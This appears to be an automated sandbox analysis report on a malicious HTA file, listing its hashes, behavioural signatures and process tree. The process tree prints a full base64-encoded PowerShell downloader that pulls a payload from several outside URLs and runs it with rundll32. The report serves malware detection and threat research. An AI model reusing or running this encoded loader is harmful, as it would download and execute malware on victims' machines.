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Analysis
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max time kernel
100s -
max time network
121s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
20/04/2023, 01:14
Static task
static1
Behavioral task
behavioral1
Sample
Ojvpuwa.hta
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
Ojvpuwa.hta
Resource
win10v2004-20230220-en
General
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Target
Ojvpuwa.hta
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Size
348KB
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MD5
e99b6cfcb794606f20ec5d1abed23906
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SHA1
7278ef13293d8eecfe4202362b0c3ec1ae8f8559
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SHA256
4f598f13fd473b3e9364dce26b99495ae728eac9ca9e278bd76be41141757c03
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SHA512
ef7421a36f13ce928cb5205be59db8f57061d9e9b14dabf8cd860742bbc5c141f570d807ce25d439d2f83b62a62f9f88f29733a406d1abb272006d66461b0da0
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SSDEEP
6144:id3ndjrklqgqr5K0NJhI101WdQyPK3LwCDkpJUbbj9KctPCltrt8gd3ndjrkW:yOauMvDyeUOW
Malware Config
Signatures
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Blocklisted process makes network request 8 IoCs
flow pid Process 19 2444 powershell.exe 22 2444 powershell.exe 26 2444 powershell.exe 32 2444 powershell.exe 37 2444 powershell.exe 40 2444 powershell.exe 42 2444 powershell.exe 46 2444 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation mshta.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2444 powershell.exe 2444 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2444 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3144 wrote to memory of 2444 3144 mshta.exe 84 PID 3144 wrote to memory of 2444 3144 mshta.exe 84 PID 3144 wrote to memory of 2444 3144 mshta.exe 84
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Ojvpuwa.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3144 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7ACQAcABzAHkAYwBoAG8AcABvAG0AcABvAHMATgB1AG4AbgBlAGQAIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBnAHMAcwBjAG8AcgBwAG8AcgBhAHQAaQBvAG4AbAB0AGQALgBjAG8AbQAvAG8AawBTAGYAagAvAHcAUAB3AGkAYQBKAEIALABoAHQAdABwAHMAOgAvAC8AegBhAGkAbgBjAG8ALgBuAGUAdAAvAE8AZABPAFUALwBxAEkAVgBEAFIATgB5AEwAaABwACwAaAB0AHQAcABzADoALwAvAGMAaQB0AHkAdABlAGMAaAAtAHMAbwBsAHUAdABpAG8AbgBzAC4AYwBvAG0ALwA2AE0AaAAxAGsALwBCAGUAUABUAFcARwBPAEEALABoAHQAdABwAHMAOgAvAC8AbQByAGMAcgBpAHoAcQB1AG4AYQAuAGMAbwBtAC8ATAA3AGMAYwBOAC8AUwBEAFQAQwA2AEwAVgAsAGgAdAB0AHAAcwA6AC8ALwBuAGEAeQBhAGQAbwBmAG8AdQBuAGQAYQB0AGkAbwBuAC4AbwByAGcALwB3AFgAYQBLAG0ALwBHAEwANgBiADkAdQAwAHEARAByAE8ALABoAHQAdABwAHMAOgAvAC8AZQByAGcALQBlAGcALgBjAG8AbQAvAG8AYwBtAGIALwBrAHIARQBpAGYAUQBCACwAaAB0AHQAcABzADoALwAvAGMAYQByAGwAYQBkAHYAbwBnAGEAZABhAHQAcgBpAGIAdQB0AGEAcgBpAGEALgBjAG8AbQAvAHQAdgBuAHEAOQAvAEsAUQBNAGUAaABYAHIAdABGADcANABjACwAaAB0AHQAcABzADoALwAvAGgAbwB0AGUAbABsAG8AcwBtAGkAcgB0AG8AcwAuAGMAbwBtAC8AcwBqAG4ALwBQAFoASQA1AFUANABVAHoAMwBvAHoAMAAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABpAG4AZgB1AG4AZQByAGEAbAAgAGkAbgAgACQAcABzAHkAYwBoAG8AcABvAG0AcABvAHMATgB1AG4AbgBlAGQAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAGkAbgBmAHUAbgBlAHIAYQBsACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA2ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABMAG8AZwBvAGQAYQBlAGQAYQBsAHkALgBtAGUAYwBoAGkAcgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAEwAbwBnAG8AZABhAGUAZABhAGwAeQAuAG0AZQBjAGgAaQByACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAAMQAwADAAMAAwADAAKQAgAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAEoAQQBCAGwAQQBHADQAQQBkAGcAQQA2AEEARgBRAEEAUgBRAEIATgBBAEYAQQBBAFgAQQBCAE0AQQBHADgAQQBaAHcAQgB2AEEARwBRAEEAWQBRAEIAbABBAEcAUQBBAFkAUQBCAHMAQQBIAGsAQQBMAGcAQgB0AEEARwBVAEEAWQB3AEIAbwBBAEcAawBBAGMAZwBBAHMAQQBFADAAQQBiAHcAQgAwAEEARwBRAEEATwB3AEEAPQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7AH0AfQA="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2444
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82